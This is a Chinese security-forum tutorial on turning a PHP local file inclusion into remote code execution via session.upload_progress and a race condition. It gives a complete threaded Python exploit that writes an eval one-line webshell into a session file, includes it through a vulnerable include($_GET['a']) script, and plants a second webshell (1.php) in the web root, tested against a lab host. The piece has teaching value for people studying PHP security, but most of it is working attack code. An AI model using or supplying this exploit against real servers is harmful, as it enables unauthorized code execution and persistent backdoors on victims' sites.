安全矩阵

 找回密码
 立即注册
搜索
查看: 2372|回复: 0

详解利用session进行文件包含

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-9-16 20:48:43 | 显示全部楼层 |阅读模式
原文链接:详解利用session进行文件包含

什么是session.upload_progress?与open_basedir、allow_url_fopen、allow_url_include等PHP配置一样,session.upload_progress也是PHP的一个功能,同样可以在php.ini中设置相关属性。其中最重要的几个设置如下:
  1. session.upload_progress.enabled = on
  2. session.upload_progress.cleanup = on
  3. session.upload_progress.prefix = "upload_progress_"
  4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
复制代码

session.upload_progress.enabled可以控制是否开启session.upload_progress功能
  •         session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
  •         session.upload_progress.prefix可以设置上传文件内容的前缀
  •         session.upload_progress.name的值即为session中的键值

session.upload_progress开启之后会有什么效果?当我们将session.upload_progress.enabled的值设置为on时,此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。
问题1:
那么这个时候就会有一个前提条件,就是如何初始化session并且把session中的内容写到文件中去呢?
分析1:
我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。
问题2:
当session.upload_progress.cleanup的值为on时,即使上传文件,但是上传完成之后文件内容会被清空,这怎么办?
分析2:
利用Python的多线程,进行条件竞争
如何利用session.upload_progress进行RCE?然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP服务端到底发生了什么。所以还是需要做实验。
首先,在网站根目录下随便新建一个test.php文件
然后写一个Python程序用于往服务器上上传文件:
这里有几个注意点:
  •         上传的文件大小为50KB,文件名为Lxxx.jpg
  •         该程序设置的sessionid为Lxxx,也就是说会在/tmp目录下生成sess_Lxxx文件
  •         该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也就是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx中

  1. import requests
  2. import io
  3. url = "http://192.168.2.128/test.php"
  4. sessid = "Lxxx"

  5. def write(session):
  6.    filebytes = io.BytesIO(b'a' * 1024 * 50)
  7.    while True:
  8.        res = session.post(url,
  9.            data={
  10.                'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
  11.               },
  12.            cookies={
  13.                'PHPSESSID': sessid
  14.               },
  15.            files={
  16.                'file': ('Lxxx.jpg', filebytes)
  17.               }
  18.           )

  19. if __name__ == "__main__":
  20.    with requests.session() as session:
  21.        write(session)
复制代码


执行程序后,我们需要用tail -f命令实时查看/tmp/sess_Lxxx文件,因为在本地测试速度比较快,如果使用cat命令,文件内容还没输出就被删除了。

tail -f /tmp/sess_Lxxx
结果如下:

也就是说,/tmp/sess_Lxxx文件中的内容为:

upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}
仔细分析一下该文件内容,该文件分为两块,以竖线|区分。
第一块内容如下:

upload_progress_<?php eval($_POST[1]);?>
这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS
第二块内容如下:

a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}
一看就是序列化之后的值,我们将其进行反序列化后输出:
  1. array(5) {
  2. ["start_time"]=>
  3. int(1631343214)
  4. ["content_length"]=>
  5. int(276)
  6. ["bytes_processed"]=>
  7. int(276)
  8. ["done"]=>
  9. bool(false)
  10. ["files"]=>
  11. array(1) {
  12.   [0]=>
  13.    array(7) {
  14.     ["field_name"]=>
  15.      string(4) "file"
  16.     ["name"]=>
  17.      string(8) "Lxxx.jpg"
  18.     ["tmp_name"]=>
  19.      NULL
  20.     ["error"]=>
  21.      int(0)
  22.     ["done"]=>
  23.      bool(false)
  24.     ["start_time"]=>
  25.      int(1631343214)
  26.     ["bytes_processed"]=>
  27.      int(276)
  28.   }
  29. }
  30. }
复制代码

可以看到这里记录了文件上传时间、文件大小、文件名称等等文件属性。接下来在网站根目录新建一个test.php文件,文件内容如下:
  1. <?php
  2. $a = $_GET["a"];
  3. include($a);
复制代码


很明显有一个文件包含的漏洞。
接下来我们利用session.upload_progress进行条件竞争
以下代码有几个注意点:
  •         首先,函数write和上面的是一样的,这里就不做过多的赘述了
  •         整个代码的思路就是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2
  •         利用Python的多线程,一边上传文件,一边尝试往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话”
  •         这里利用Python的threading模块,开5个线程进行条件竞争

代码如下:
  1. import requests
  2. import io
  3. import threading

  4. url = "http://192.168.2.128/test.php"
  5. sessid = "Lxxx"

  6. def write(session):
  7.    filebytes = io.BytesIO(b'a' * 1024 * 50)
  8.    while True:
  9.        res = session.post(url,
  10.            data={
  11.                'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
  12.               },
  13.            cookies={
  14.                'PHPSESSID': sessid
  15.               },
  16.            files={
  17.                'file': ('Lxxx.jpg', filebytes)
  18.               }
  19.           )

  20. def read(session):
  21.    while True:
  22.        res = session.post(url+"?a=/tmp/sess_"+sessid,
  23.                           data={
  24.                               "1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');"
  25.                           },
  26.                           cookies={
  27.                               "PHPSESSID":sessid
  28.                           }
  29.                           )
  30.        res2 = session.get("http://192.168.2.128/1.php")
  31.        if res2.status_code == 200:
  32.            print("成功写入一句话!")
  33.        else:
  34.            print("Retry")



  35. if __name__ == "__main__":
  36.    evnet = threading.Event()
  37.    with requests.session() as session:
  38.        for i in range(5):
  39.            threading.Thread(target=write, args=(session,)).start()
  40.        for i in range(5):
  41.            threading.Thread(target=read, args=(session,)).start()
  42.    evnet.set()
复制代码

代码执行结果如下:

一开始会一直显示Retry,但是只要运行一段时间就会成功写入一句话。

可以在网站根目录看到,成功写入一句话。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 16:41 , Processed in 0.011945 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表